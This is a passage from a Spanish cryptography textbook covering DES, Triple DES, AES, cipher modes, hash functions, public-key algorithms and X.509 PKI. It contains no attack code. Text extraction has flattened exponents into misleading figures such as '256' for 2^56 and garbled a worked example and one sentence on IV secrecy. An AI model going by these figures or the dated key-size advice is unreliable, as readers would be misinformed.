sumada bit a bit (XOR) con la salida de la iteración anterior. Tal como está

diseñado el algoritmo, el descifrado se realiza igual que el cifrado pero real-

izando las transposiciones de la clave en el orden inverso (empezando por la

última).

Triple DES. Aunque a lo largo de los años el algoritmo DES se ha mostrado

muy resistente al criptoanálisis, su principal problema es actualmente la vul-

nerabilidad a los ataques de fuerza bruta, a causa de la longitud de la clave, de

sólo 56 bits. Aunque en los años 70 era muy costoso realizar una búsqueda

entre las 256 combinaciones posibles, la tecnología actual permite romper el

algoritmo en un tiempo cada vez más corto.

Los retos DES

En la dirección
www.rsasecurity.com/
rsalabs/challenges/
se puede encontrar
información sobre los
“retos DES”, que
demuestra que en 1999
ya era posible romper una
clave DES en menos de
24 horas.

Por este motivo, en 1999 el NIST cambió el algoritmo DES por el “Triple

DES” como estándar oficial, mientras no estuviera disponible el nuevo están-
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dar AES. El Triple DES, como su nombre indica, consiste en aplicar el DES

tres veces consecutivas. Esto se puede realizar con tres claves (k1, k2, k3), o

bien con sólo dos (k1, k2, y otra vezk1). La longitud total de la clave con la

segunda opción es de 112 bits (dos claves de 56 bits), que hoy ya se considera

suficientemente segura; la primera opción proporciona más seguridad, pero a

costa de utilizar una clave total de 168 bits (3 claves de 56 bits), que puede ser

un poco más difícil de gestionar e intercambiar.
Repetición del DES

La operación de aplicar el
cifrado DES con una
clave, y el resultado de
volverlo a cifrar con otra
clave, no es equivalente a
un solo cifrado DES (no
hay ninguna clave única
que dé el mismo resultado
que dan las otras dos
juntas). Si no fuera de
este modo, la repetición
del DES no sería más
segura que el DES
simple.

Para conseguir que el sistema sea adaptable al estándar antiguo, en el Triple

DES se aplica una secuencia cifrado-descifrado-cifrado (E-D-E) en lugar de

tres cifrados:

C = e(k3,d(k2,e(k1,M)))

o bien: C = e(k1,d(k2,e(k1,M)))

Así, tomandok2 = k1 tenemos un sistema equivalente al DES simple.

AES (Advanced Encryption Standard).Dado que el estándar DES empe-

zaba a quedarse anticuado, a causa sobretodo de la longitud tan corta de sus

claves, y el Triple DES no es excesivamente eficiente cuando se implementa

con software, en 1997 el NIST convocó a la comunidad criptográfica a pre-

sentar propuestas para un nuevo estándar, el AES, que sustituyera al DES. De

los quince algoritmos candidatos que se aceptaron, se escogieron cinco como

finalistas, y en octubre de 2000 se dio a conocer el ganador: el algoritmo Ri-

jndael, propuesto por los criptógrafos belgas Joan Daemen y Vincent Rijmen.

El Rijndael puede trabajar en bloques de 128, 192 o 256 bits (aunque el es-

tándar AES sólo prevé los de 128), y la longitud de la clave también puede

ser de 128, 192 o 256 bits. Dependiendo de esta última longitud, el número

de iteraciones del algoritmo es 10, 12 ó 14, respectivamente. Cada iteración

incluye una sustitución fija byte a byte, una transposición, una transformación

consistente en desplazamientos de bits y XORs, y una suma binaria (XOR)

con bits obtenidos a partir de la clave.

1.1.3. Uso de los algoritmos de clave simétrica

Cuando se utiliza el cifrado simétrico para proteger las comunicaciones, se

puede escoger el algoritmo que sea más apropiado a las necesidades de ca-

da aplicación: normalmente, a más seguridad menos velocidad de cifrado, y

viceversa.

Un aspecto que hay que tener en cuenta es que, aunque el cifrado puede con-

seguir que un atacante no descubra directamente los datos transmitidos, en

ocasiones es posible que se pueda deducir información indirectamente. Por

ejemplo, en un protocolo que utilice mensajes con una cabecera fija, la apari-

ción de los mismos datos cifrados varias veces en una transmisión puede in-

dicar dónde empiezan los mensajes.
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Esto pasa con el cifrado en flujo si su periodo no es lo suficientemente largo,

pero en un cifrado en bloque, si dos bloques de texto en claro son iguales y

se utiliza la misma clave, los bloques cifrados también serán iguales. Para

contrarrestar esta propiedad, se pueden aplicar distintosmodos de operación
al cifrado en bloque.

• El modo ECB (Electronic Codebook) es el más simple, y consiste en di-

vidir el texto en bloques y cifrar cada uno de ellos de forma independiente.

Este modo parte del problema de dar bloques iguales cuando en la entrada
Modo ECB

El nombre del modo ECB
(Electronic Codebook) da
la idea que se puede
considerar como una
simple sustitución bloque
a bloque, de acuerdo con
un código o diccionario
(con muchas entradas, sin
duda) que viene dado por
la clave.

existen bloques iguales.

• En el modo CBC (Cipher Block Chaining), se suma a cada bloque de texto

en claro, antes de cifrarlo, (bit a bit, con XOR) el bloque cifrado anterior.

Al primer bloque se le suma unvector de inicialización (VI), que es un

conjunto de bits aleatorios de la misma longitud que un bloque. Escogiendo

vectores distintos cada vez, aun que el texto en claro sea el mismo, los datos

cifrados serán distintos. El receptor debe conocer el valor del vector antes

de empezar a descifrar, pero es necesario falta guardar este valor en secreto,

sino que normalmente se transmite como cabecera del texto cifrado.

• En el modo CFB (Cipher Feedback), el algoritmo de cifrado no se aplica
Modo CFB como cifrado
en flujo

Es fácil ver que el modo
CFB (y también el OFB)
se puede considerar
como un cifrado en flujo
que utiliza como función
generador un cifrado en
bloque.

directamente al texto en claro sino a un vector auxiliar (inicialmente igual

al VI). Del resultado del cifrado se tomann bits que se suman an bits

del texto en claro para obtenern bits de texto cifrado. Estos bits cifrados

se utilizan también para actualizar el vector auxiliar. El númeron de bits

generados en cada iteración puede ser menor o igual que la longitud de

bloqueb. Tomando como ejemplon = 8, tenemos un cifrado que genera

un byte cada vez sin que sea necesario esperar a tener un bloque entero

para poderlo descifrar.
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• El modo OFB (Output Feedback) opera como el CFB pero en lugar de ac-

tualizar el vector auxiliar con el texto cifrado, se actualiza con el resultado

obtenido del algoritmo de cifrado. La propiedad que distingue este modo

de los demás consiste en que un error en la recuperación de un bit cifrado

afecta solamente al descifrado de este bit.

• A partir de los modos anteriores se pueden definir varias variantes. Por

ejemplo, el modo CTR (Counter) es como el OFB, pero el vector auxil-

iar no se realimenta con el cifrado anterior sino que simplemente es un

contador que se va incrementando.

Existe otra técnica para evitar que textos de entrada iguales produzcan textos

cifrados iguales, que se puede aplicar también a cifrados que no utilizan vec-

tor de inicialización (incluido el cifrado en flujo). Esta técnica consiste en la

modificación de la clave secreta con bits aleatorios antes de usarla en el algo-

ritmo de cifrado (o en el de descifrado). Como estos bits aleatorios sirven para

dar un “sabor” distinto a la clave, se les suele llamarbits de sal. Igual que

el vector de inicialización, los bits de sal se envían en claro antes que el texto

cifrado.
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1.1.4. Funcioneshashseguras

Aparte de cifrar datos, existen algoritmos basados en técnicas criptográficas

que se usan para garantizar la autenticidad de los mensajes. Un tipo de al-

goritmos de estas características son las llamadasfunciones hash seguras,
también conocidas como funciones deresumen de mensaje(message digest,

en inglés).

En general, podemos decir que una funciónhashnos permite obtener una

cadena de bits de longitud fija, relativamente corta, a partir de un mensaje de

longitud arbitraria:

H = h(M)

Para mensajesM iguales, la funciónh debe dar resúmenesH iguales. Pero si

dos mensajes dan el mismo resumenH no deben ser necesariamente iguales.

Esto es así porque sólo existe un conjunto limitado de posibles valoresH, ya

que su longitud es fija, y en cambio puede haber muchos más mensajesM (si

la longitud puede ser cualquiera, habrá infinitos).

Para poderla aplicar en un sistema de autenticación, la funciónh debe ser una

funciónhashsegura.
Secreto de los algoritmos

Observad que las
funciones hash son
conocidas, puesto que
todo el mundo debe poder
calcular los resúmenes
del mismo modo.

.

Se entiende que una funciónhasho de resumen essegurasi cumple las

siguientes condiciones:

• Esunidireccional, es decir, si tenemosH = h(M) es computacional-

mente inviable encontrarM a partir del resumenH.

• Es resistente a colisiones, es decir, dado un mensajeM cualquiera

es computacionalmente inviable encontrar un mensajeM′ 6= M tal

queh(M′) = h(M).

Estas propiedades permiten el uso de las funcioneshashseguras para dar un

servicio de autenticidad basado en una clave secretas compartida entre dos

partesA y B. Aprovechando la unidireccionalidad, cuandoA quiere mandar

un mensajeM aB puede preparar otro mensajeMs: por ejemplo, concatenando

el original con la clave:Ms = (M,s). Entonces manda aB el mensajeM y el

resumen del mensajeMs:

. A B-
M,h(Ms)

Para comprobar la autenticidad del mensaje recibido,B verifica que el resumen
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corresponda efectivamente aMs. Si es así, quiere decir que lo ha generado

alguien que conoce la clave secretas (que debería serA), y también que nadie

ha modificado el mensaje.

Otra técnica consistiría en calcular el resumen del mensajeM y cifrarlo uti-

lizandos como clave de cifrado:

. A B-
M,e(s,h(M))

Para verificar la autenticidad se debe recuperar el resumen enviado, descifrán-
Autenticidad y
confidencialidad

Cifrar solamente el
resumen, en lugar del
mensaje entero, es más
eficiente porqué hay que
cifrar menos bits. Esto,
evidentemente,
suponiendo que
solamente se precise
autenticidad, y no
confidencialidad. Si
también interesa que el
mensaje sea confidencial,
entonces sí es necesario
cifrarlo entero.

dolo con la clave secretas, y compararlo con el resumen del mensajeM. Un

atacante que quisiera modificar el mensaje sin conocer la clave podría intentar

sustituirlo por otro que diera el mismo resumen, con lo cualB no detectaría la

falsificación. Pero si la función de resumen es resistente a colisiones, esto le

sería imposible al atacante.

Para dificultar los ataques contra las funciones de resumen, por un lado los

algoritmos tienen que definir una relación compleja entre los bits de entrada y

cada bit de salida. Por otro lado, los ataques por fuerza bruta se contrarrestan

alargando lo suficiente la longitud del resumen. Por ejemplo, los algoritmos

usados actualmente generan resúmenes de 128 ó 160 bits. Esto quiere decir

que un atacante podría tener que probar del orden de 2128 o 2160 mensajes de

entrada para encontrar una colisión (es decir, un mensaje distinto que diera el

mismo resumen).

Pero existe otro tipo de ataque más ventajoso para el atacante, llamadoataque
del cumpleaños. Un ataque de este tipo parte de la suposición de que el

Resistencia fuerte a las
colisiones

La resistencia de los
algoritmos de resumen a
las colisiones, tal como la
hemos definido, a veces
recibe el nombre de
“resistencia débil”,
mientras que la propiedad
de ser resistente a
ataques de cumpleaños
se conoce como
“resistencia fuerte”.

atacante puede escoger el mensaje que será autenticado. La víctima lee el

mensaje y, si lo acepta, lo autentica con su clave secreta. Pero el atacante ha

presentado este mensaje porque ha encontrado otro que da el mismo resumen

y, por lo tanto, puede hacer creer al destinatario que el mensaje auténtico es

este otro. Y esto se puede conseguir realizando una búsqueda por fuerza bruta

con muchas menos operaciones: del orden de 264 ó 280, si el resumen es de

128 ó 160 bits, respectivamente.

Paradoja del cumpleaños

El nombre de este tipo de ataque viene de un problema clásico de probabilidades cono-
cido como la “paradoja del cumpleaños”. El problema consiste en encontrar el número
mínimo de personas que debe haber en un grupo para que la probabilidad de que como
mínimo dos de ellas celebren su aniversario el mismo día sea superior al 50%. Una res-
puesta intuitiva puede ser que la solución sea del orden de 200, pero este resultado no
es correcto. Podría ser correcto si se quisiera obtener el número de personas necesarias
para obtener un 50% de probabilidad de coincidencia conunapersona determinada. Si
permitimos que la coincidencia sea entrecualquierpareja de personas, la solución es
un número mucho menor: 23.
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La conclusión es que si una función de resumen puede darN valores distintos, porque la
probabilidad de encontrar dos mensajes con el mismo resumen sea del 50% el nombre
de mensajes que hay que probar es del orden de

√
N.

Ejemplos de funcioneshashseguras

El esquema de la mayoría de funcioneshashusadas actualmente es parecido

al de los algoritmos de cifrado de bloque: el mensaje de entrada se divide en

bloques de la misma longitud, y a cada uno se le aplica una serie de opera-

ciones junto con el resultado obtenido en el bloque anterior. El resultado que

queda después de procesar el último bloque es el resumen del mensaje.

El objetivo de estos algoritmos es que cada bit de salida dependa de todos los

bits de entrada. Esto se consigue con diferentes iteraciones de operaciones que

“mezclan” los bits entre ellos, de forma parecida a cómo la sucesión de trans-

posiciones en los cifrados de bloque provoca un “efecto alud” que garantiza la

difusión de los bits.

Hasta hace poco, el algoritmo dehashmás usado era elMD5 (Message Di-
gest 5). Pero como el resumen que da es de sólo 128 bits, y aparte se

Longitud del resumen
MD5

Como la longitud del
resumen MD5 es de
128 bits, el número de
operaciones para un
ataque de aniversario es
del orden de 264.
Comparad esta magnitud
con la de un ataque por
fuerza bruta contra el
DES (menos de
256 operaciones), de la
que no está demasiado
lejos.

han encontrado otras formas de generar colisiones parciales en el algoritmo,

actualmente se recomienda utilizar algoritmos más seguros, como elSHA-1
(Secure Hash Algorithm-1). El algoritmo SHA-1, publicado el 1995 en un

estándar del NIST (como revisión de un algoritmo anterior llamado simple-

mente SHA), da resúmenes de 160 bits. El año 2002 el NIST publicó variantes

de este algoritmo que generan resúmenes de 256, 384 y 512 bits.
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1.2. Criptografía de clave pública

1.2.1. Algoritmos de clave pública

Como hemos visto en el subapartado anterior, uno de los problemas de la crip-

tografía de clave simétrica es el de la distribución de las claves. Este problema

se puede solucionar si utilizamosalgoritmos de clave pública, también lla-

madosde clave asimétrica.

.

En un algoritmo criptográfico de clave pública se utilizan claves distin-

tas para el cifrado y el descifrado. Una de ellas, laclave pública, se

puede obtener fácilmente a partir de la otra, laclave privada, pero por

el contrario es computacionalmente de muy difícil obtención la clave

privada a partir de la clave pública.

Los algoritmos de clave pública típicos permiten cifrar con la clave públi-

ca (kpub) y descifrar con la clave privada (kpr):

C = e(kpub,M)

M = d(kpr,C)

Pero también puede haber algoritmos que permitan cifrar con la clave privada

y descifrar con la pública (más adelante veremos cómo se puede utilizar esta

propiedad):

C = e(kpr,M)

M = d(kpub,C)

Los algoritmos de clave pública se basan en problemas matemáticos “fá-
Adaptación de los
problemas difíciles

Si los adelantos de la
tecnología reducen el
tiempo de resolución, se
puede aumentar la
longitud n, con lo cual se
necesitarán unas cuantas
operaciones más para el
planteamiento, pero la
complejidad de la solución
crecerá
exponencialmente.

ciles” de plantear a partir de la solución, pero “difíciles” de resolver. En este

contexto, se entiende que un problema es fácil si el tiempo para resolverlo, en

funciones de la longitudn de los datos, se puede expresar en forma polinómica

como, por ejemplon2+2n (en teoría de la complejidad, se dice que estos prob-

lemas son de la “clase P”). Si el tiempo de resolución crece más rápidamente,

como por ejemplo con 2n, el problema se considera difícil. Así, se puede es-

coger un valor den tal que el planteamiento sea viable pero la resolución sea

computacionalmente intratable.

Un ejemplo de problema fácil de plantear pero difícil de resolver es el de los

logaritmos discretos. Si trabajamos con aritmética módulom, resulta fácil

calcular esta expresión:

y = bx modm

El valor x se llama logaritmo discreto dey en baseb módulom. Escogien-

do convenientementeb y m, puede ser difícil calcular el logaritmo discreto
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de cualquiery. Una posibilidad es ir probando todos los valores dex: si m

es un número den bits, el tiempo para encontrar la solución aumenta propor-

cionalmente a 2n. Hay otros métodos más eficientes para calcular logaritmos

discretos, pero el mejor algoritmo conocido también necesita más tiempo del

que se puede expresar polinómicamente.

Ejemplo de operaciones módulom

Por ejemplo, para obtener 1411 mod 19 podemos multiplicar 11 veces el número 14,
dividir el resultado entre 19 y tomar el residuo de la división, que es igual a 13. Pero
también se puede aprovechar que el exponente 11 es 1011 en binario (11= 1 · 23 +
0 ·22 + 1 ·21 + 1 ·20), y entonces 1411 = 148 ·142 ·141, para obtener el resultado con
menos multiplicaciones:

141 = 14 ≡ 14 (mod 19) → 14
142 = 141×141 ≡ 14×14 = 196 ≡ 6 (mod 19) → 6
144 = 142×142 ≡ 6×6 = 36 ≡ 17 (mod 19)
148 = 144×144 ≡ 17×17 = 289 ≡ 4 (mod 19) → 4

336 ≡ 13 (mod 19)

Así, sabemos que log1413= 11 (mod 19). Pero si hubiéramos calculado el logaritmo
de cualquier otro númeroy tendríamos que ir probando uno a uno los exponentes hasta
encontrar uno que dé como resultadoy. Y si en lugar de tratarse de números de 4 o
5 bits como estos fueran números de más de 1000 bits, el problema sería intratable.

Así pues, los algoritmos de clave pública han de ser diseñados de manera

que sea inviable calcular la clave privada a partir de la pública, y lógicamente

también ha de ser inviable invertir-los sin saber la clave privada, pero el cifrado

y el descifrado se han de poder realizar en un tiempo relativamente corto.

A la práctica, los algoritmos utilizados permiten cifrar y descifrar fácilmente,

pero todos ellos son considerablemente más lentos que los equivalentes con
Velocidad de la
criptografía de clave
pública

El cifrado y descifrado con
algoritmos de clave
pública puede llegar a ser
dos o tres ordenes de
magnitud más lentos que
con criptografía simétrica.

criptografía simétrica. Por eso, la criptografía de clave pública se suele utilizar

solos en los problemas que la criptografía simétrica no puede resolver: el

intercambio de claves y la autenticación con no repudio (firmas digitales).

• Los mecanismos deintercambio de clavespermiten que dos partes se pon-

gan de acuerdo en les claves simétricas que utilizaran para comunicar-se,

sin que un tercer que esté escuchando el diálogo pueda deducir cuales son

estas claves.

Por ejemplo,A puede escoger una clave simétricak, cifrar-la con la clave

pública deB, y enviar el resultado aB. LuegoB descifrará con su clave

privada el valor recibido, y sabrá cual es la clavek que ha escogidoA. El

resto de la comunicación irá cifrada con un algoritmo simétrico (mucho

más rápido), y utilizará esta clavek. Los atacantes, al no conocer la clave

privada deB, no podrán deducir el valor dek.

• Laautenticaciónbasada en clave pública se puede utilizar si el algoritmo

permite utilizar las claves a la inversa: la clave privada para cifrar y la clave
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pública para descifrar. SiA envía un mensaje cifrado con su clave privada,

todo el mundo podrá descifrarlo con la clave pública deA, y al mismo

tiempo todo el mundo sabrá que el mensaje sólo lo puede haber generado

quien conozca la clave privada asociada (que debería serA). Ésta es la base

de lasfirmas digitales.

Ejemplos de algoritmos de clave pública

Intercambio de claves Diffie-Hellman.Es un mecanismo que permite que

dos partes se pongan de acuerdo de forma segura sobre una clave secreta.

El algoritmo se basa en la dificultad de calcular logaritmos discretos.

RSA. Es el algoritmo más utilizado en la historia de la criptografía de clave

pública. Su nombre procede de las iniciales de quienes lo diseñaron en 1977:

Ronald Rivest, Adi Shamir y Leonard Adleman. La clave pública está for-

mada por un númeron, calculado como producto de dos factores primos muy

grandes (n = p · q) y un exponentee. La clave privada es otro exponented

calculado a partir dep, q y e, de tal forma que el cifrado y el descifrado se

puede realizar de la siguiente forma:

Cifrado: C = Me modn

Descifrado: M = Cd modn

Como se puede ver, la clave pública y la privada son intercambiables: si se
Valores usados en el RSA

Actualmente el problema
de factorizar números de
512 bits es muy complejo,
aunque abordable si se
dispone de suficientes
recursos. Por lo tanto, se
recomienda utilizar claves
públicas con un valor n a
partir de 1.024 bits. Como
exponente público e
normalmente se utilizan
valores simples como 3 ó
65.537 (216+1) porque
hacen más rápido el
cifrado.

usa cualquiera de ellas para cifrar, se deberá utilizar la otra para descifrar.

La fortaleza del algoritmo RSA se basa, por un lado, en la dificultad de obten-

er M a partir deC sin conocerd (problema del logaritmo discreto), y por otro

lado, en la dificultad de obtenerp y q (y, por tanto,d) a partir den (prob-

lema de la factorización de números grandes, que es otro de los problemas

considerados difíciles).

ElGamal. Otro esquema de cifrado, en este caso, basado en el problema de

Diffie-Hellman.

DSA (Digital Signature Algorithm). Publicado por el NIST en distintas ver-

siones delDigital Signature Standard(DSS), la primera de ellas en 1991. Es

una variante del algoritmo de firma ElGamal, que a su vez sigue el esquema

de cifrado de ElGamal. El DSA no es un algoritmo de cifrado, sino que sólo

permite generar firmas y verificarlas.

1.2.2. Uso de la criptografía de clave pública

Hemos visto antes que las principales aplicaciones de la criptografía de clave

Sobre digital

Como veremos más
adelante, esta técnica
para proporcionar
confidencialidad con
criptografía de clave
pública se suele llamar
“sobre digital” en el
contexto del correo
electrónico segur.

pública son el intercambio de claves para proporcionar confidencialidad y la

firma digital para proporcionar autenticidad y no repudio.

• El problema de la confidencialidad entre dos partes que sólo disponen de
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un canal inseguro para comunicarse se resuelve con la criptografía de clave

pública. CuandoA quiere mandar un mensaje secretoM a B, no hace falta

cifrar todo el mensaje con un algoritmo de clave pública (esto podría re-

sultar muy lento), sino que se escoge una clave simétricaks, en ocasiones

llamadaclave de sesióno clave de transporte, y se cifra el mensaje con un

algoritmo simétrico usando esta clave. Lo único que hace falta cifrar con

la clave pública deB (kpubB
) es la clave de sesión. En recepción,B utiliza

su clave privada (kprB) para recuperar la clave de sesiónks, y entonces ya

puede descifrar el mensaje cifrado.

. M,ks

A

ks = d(kprB,K)
M = d(ks,C)

B

-
K = e(kpubB

,ks),C = e(ks,M)

Dado que la clave de sesión es un mensaje relativamente corto (por ejem-

plo, si es una clave DES sólo tendrá 56 bits), un atacante podría intentar

romper el cifrado por fuerza bruta, pero no intentando descifrar el mensaje

con los posibles valores de la clave privadakprB, sino cifrando los posibles

valores de la clave de sesiónks con la clave públicakpubB
. En el caso de una

clave de sesión DES, independientemente del número de bits de la clave

pública, el atacante solamente necesitaría un esfuerza del orden de 256 op-

eraciones.

Para evitar este tipos de ataque, la información que se cifra realmente con la

clave pública no es directamente el valor secreto (en este casoks), sino que

a este valor se le añade una cadena más o menos larga de bits aleatorios.

El receptor solamente tiene que descartar estos bits aleatorios del resultado

que obtenga del descifrado.

• Unafirma digital es básicamente un mensaje cifrado con la clave privada

del firmante. Pero, por cuestiones de eficiencia, lo que se cifra no es direc-

tamente el mensaje a firmar, sino solamente su resumen calculado con una

funciónhashsegura.

CuandoA quiera mandar un mensaje firmado, tendrá que obtener su re-

sumen y cifrarlo con la clave privadakprA. Para verificar la firma, el recep-

tor tiene que descifrarla con la clave públicakpubA
y comparar el resultado

con el resumen del mensaje: si son iguales, quiere decir que el mensaje lo

ha generadoA y nadie lo ha modificado. Dado que se supone que la fun-

ción de resumen es resistente a colisiones, un atacante no podrá modificar

el mensaje sin que la firma deje de ser válida.

. M

A

h(M) = d(kpubA
,S)

B

-
M,S= e(kprA,h(M))
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1.3. Infraestructura de clave pública (PKI)

Como hemos visto hasta ahora, la criptografía de clave pública permite re-

solver el problema del intercambio de claves, utilizando las claves públicas

de los participantes. Pero se platea otro problema: si alguien afirma serA y

su clave pública eskpub, ¿cómo podemos saber que realmentekpub es la clave

pública deA? Porque es perfectamente posible que un atacanteZ genere su

par de claves (k′pr, k′pub) y afirme “yo soyA, y mi clave pública esk′pub”.

Una posible solución a este problema es que exista una entidad de confian-

za que nos asegure que, efectivamente, las claves públicas pertenecen a sus

supuestos propietarios. Esta entidad puede firmar un documento que afirme

“la clave pública deA eskpubA
”, y publicarlo para que todos los usuarios lo

sepan. Este tipo de documento se llamacertificado de clave públicao cer-
tificado digital , y es la base de lo que se conoce comoinfraestructura de
clave pública.

PKI

La sigla PKI corresponde
al nombre en inglés de la
infraestructura de clave
pública (Public Key
Infrastructure).

1.3.1. Certificados de clave pública

.

Un certificado de clave pública o certificado digital consta de tres partes

básicas:

• Una identificación de usuario como, por ejemplo, su nombre.

• El valor de la clave pública de este usuario.

• La firma de las dos partes anteriores.

Si el autor de la firma es alguien en quien confiamos, el certificado nos sirve

como garantía de que la clave pública pertenece al usuario que figura iden-

tificado en el certificado. Quien firma el certificado puede ser una autoridad

que se responsabilice de verificar fehacientemente la autenticidad de las claves

públicas. En este caso, se dice que el certificado ha sido generado por unaau-
toridad de certificación (CA).

CA

CA es la sigla inglesa de
Certification Authority.

Puede haber distintos formatos de certificados, pero el más usado es el de los

certificados X.509, especificado en la definición delservicio de directorio
X.500.

El directorio X.500

La especificación del
directorio X.500 está
publicada en la Serie de
Recomendaciones ITU-T
X.500, una de las cuales
es la Recomendación
X.509.

El directorio X.500 permite almacenar y recuperar información, expresada co-

moatributos, de un conjunto deobjetos. Los objetos X.500 pueden represen-

tar, por ejemplo, países, ciudades, o bien empresas, universidades (en general,

organizaciones), departamentos, facultades (en general, unidades organizati-

vas), personas, etc. Todos estos objetos están organizados jerárquicamente en

forma de árbol (en cada nodo del árbol existe un objeto) y, dentro de cada ni-
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vel, los objetos se identifican mediante unatributo distintivo . A nivel global,

cada objeto se identifica con unnombre distintivo (DN), que no es más que

la concatenación de los atributos distintivos que hay entre la raíz del árbol y el

objeto en cuestión. El sistema de nombres es, pues, parecido al DNS de In-
DN

DN es la sigla inglesa de
Distinguished Name.

ternet, con la diferencia que los componentes de un nombre DNS son simples

cadenas de caracteres, y los de un DN X.500 son atributos, cada uno con un

tipo y un valor.

Algunos ejemplos de tipos de atributos que se pueden usar como atributos dis-

tintivos en un DN son:countryName(habitualmente denotado con la abre-

viatura “c ”), stateOrProvinceName(“st ”), localityName(“ l ”), organiza-

tionName(“o”), organizationalUnitName(“ou”), commonName(“cn ”), sur-

name(“sn ”), etc. Un ejemplo de DN es “c=ES, st=Barcelona , l=Barcelona ,

o=Universitat Oberta de Catalunya , ou=SI , cn=cv.uoc.edu ”.

X.500 define un protocolo de acceso al servicio que permite realizar opera-

ciones de consulta, y también operaciones de modificación de la información

de los objetos. Estas últimas operaciones normalmente sólo están permiti-

das a ciertos usuarios autorizados, y por tanto hacen falta mecanismos de

autenticación de los usuarios, y estos mecanismos están definidos en la Re-

comendación X.509. Hay un mecanismo básico que utiliza contraseñas, y un

mecanismo más avanzado que utiliza certificados.

A continuación podéis ver la estructura de un certificado X.509, con sus cam-

pos y subcampos. En la notación usada aquí, “rep.” significa que el campo se

puede repetir una o más veces, y “opc.” significa que el campo es opcional (y

por tanto “opc. rep.” significa que el campo se puede repetir cero o más veces).
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.

Campo Tipo
toBeSigned

version (opc.) entero

serialNumber entero

signature

algorithm identificador único

parameters (depende del algoritmo)

issuer DN

validity

notBefore fecha y hora

notAfter fecha y hora

subject DN

subjectPublicKeyInfo

algorithm

algorithm identificador único

parameters (depende del algoritmo)

subjectPublicKey cadena de bits

issuerUniqueIdentifier (opc.) cadena de bits

subjectUniqueIdentifier (opc.) cadena de bits

extensions (opc. rep.)

extnId identificador único

critical (opc.) booleano

extnValue (depende de la extensión)

algorithmIdentifier

algorithm identificador único

parameters (depende del algoritmo)

encrypted cadena de bits

El cuerpo del certificado (“toBeSigned ” en la tabla anterior) está formado

por los siguientes campos:

• El campoversion es el número de versión del formato: puede ser 1, 2

ó 3. Aunque es un campo opcional, es obligatorio si la versión es 2 ó 3 (por

tanto, la ausencia de este campo indica que la versión es 1).

• El camposerialNumber es el número de serie del certificado, y sirve

para distinguirlo de todos los demás que haya generado la misma CA.
Números de serie

Los números de serie de
los certificados generados
por una CA no tienen por
qué ser consecutivos: es
suficiente que cada uno
sea distinto a todos los
anteriores.

• El camposignature indica el algoritmo utilizado por la CA para formar

el certificado.

• El campoissuer es el nombre distintivo (DN) del firmante oemisordel

certificado, es decir, de la CA que lo ha generado.

• El campovalidity indica el período de validez del certificado, entre un

instante inicial y un instante de caducidad. Cuando hablemos más adelante

de las listas de revocación, veremos la utilidad de la fecha de caducidad en
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los certificados.

• El camposubject es el nombre distintivo (DN) delsujeto a nombre del

cual esta emitido el certificado, es decir, el titular de la clave pública que

figura en el certificado.

• En el camposubjectPublicKeyInfo se encuentre la clave pública

del sujeto: a que algoritmo corresponde, y su valor.

• Los camposissuerUniqueIdentifier y subjectUniqueIden-

tifier se introdujeron en la versión 2, pero no se suelen utilizar porqué

con el campoextensions son innecesarios.

• El campoextensions se introdujo en la versión 3, y es una lista de

atributos adicionales del certificado. El subcampoextnId indica de que

tipo de extensión se trata. El subcampocritical indica si la extensión
Tipo de extensiones

Hay un cierto número de
extensiones estándares,
pero se pueden definir
más de nuevas, según las
necesidades de las
aplicaciones, mientras
cada una se identifique
con un valor inambiguo
del subcampo extnId .

es crítica o no: si lo es, las aplicaciones que no reconozcan el tipo de ex-

tensión han de considerar el certificado como no válido (este subcampo es

opcional porqué por defecto las extensiones no son críticas). El subcampo

extnValue es el valor concreto de la extensión.

Después del cuerpo hay el campoalgorithmIdentifier (que en real-

idad es redundante con el camposignature ), y finalmente hay el campo

encrypted que es la firma del certificado, es decir, el resultado de cifrar

con la clave privada de la CA el resumen (hash) del cuerpo del certificado.

Para calcular el resumen, el cuerpo del certificado se tiene que representar co-

mo una secuencia de bytes mediante una codificación no ambigua, que garan-

tice que cualquiera que quiera verificar la firma pueda reconstruir exactamente

la misma secuencia de bytes. Las reglas para obtener esta codificación se lla-
ASN.1 y DER

ASN.1 es la sigla de
Abstract Syntax Notation
One, y DER es la sigla de
Distinguished Encoding
Rules.

man DER, y forman parte de la notación ASN.1, que es la notación en que

está definido el formato de los certificados X.509.

1.3.2. Cadenas de certificados y jerarquías de certificación

Un certificado nos soluciona el problema de la autenticidad de la clave pública

si está firmado por una CA en la cual confiamos, Pero que pasa si nos comu-

nicamos con un usuario que tiene un certificado emitido por una CA que no

conocemos?

Existe la posibilidad que una CA tenga un certificado que garantice la auten-

ticidad de su clave pública, firmado por otra CA. Esta otra CA puede que si

que la conozcamos, o puede que a su vez tenga un certificado firmado por una

tercera CA, y así sucesivamente. De esta forma, se puede establecer una jer-

arquía de autoridades de certificación, donde las CA de nivel más bajo emiten

los certificados de usuario, y las CA de cada nivel son certificadas por una de

nivel superior.
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En un mundo ideal, podría haber una CA raíz que estuviera en la parte su-

perior de la jerarquía y tuviera la máxima autoridad. En la práctica, esta CA

raíz global no existe, y seguramente no existirá nunca (sería difícil que fuera

aceptada por todo el mundo). En lugar de haber un sólo árbol que incluya a to-

das las CA del mundo, lo que existe en la realidad son árboles independientes

(algunos , posiblemente con una sola CA), cada uno con su CA raíz.

Para que podamos verificar la autenticidad de su clave pública, un usuario nos

puede enviar su certificado, más el certificado de la CA que lo ha emitido, más

el de la CA que ha emitido este otro certificado, etc. hasta llegar al certificado

de una CA raíz. Esto es lo que se denomina unacadena de certificados. Los

certificados de las CA raíz tienen la propiedad de ser auto-firmados, es decir,

están firmados por ellas mismas.

Un posible tipo de extensión de los certificados X.509 esbasicConstraints ,

y un campo de su valor indica si el certificado es de CA (se puede usar su clave

para emitir otros certificados) o no. En el caso de que lo sea, otro subcampo

(pathLenConstraint ) permite indicar el número máximo de niveles de

jerarquía que se sitúan por debajo de esta CA.

1.3.3. Listas de revocación de certificados (CRL)

La Recomendación X.509, además de definir el formato de los certificados,

también define otra estructura llamadalista de revocación de certificados
o CRL. Una lista de este tipo sirve para publicar los certificados que han

CRL

CRL es la sigla de
Certificate Revocation
List.

dejado de ser válidos antes de su fecha de caducidad. Los motivos pueden ser

diversos: se ha emitido otro certificado que sustituye al revocado, ha cambiado

el DN del titular (por ejemplo, ha dejado de trabajar en la empresa en la que

estaba), le han robado su clave privada, etc.

De este modo, si queremos asegurarnos completamente de la validez de un cer-

tificado, no basta con verificar su firma, sino que debemos obtener la versión

actual de la CRL (publicada por la CA que emitió el certificado) y comprobar

que el certificado no aparece en esta lista.

Una CA normalmente actualizará su CRL de forma periódica, añadiendo cada

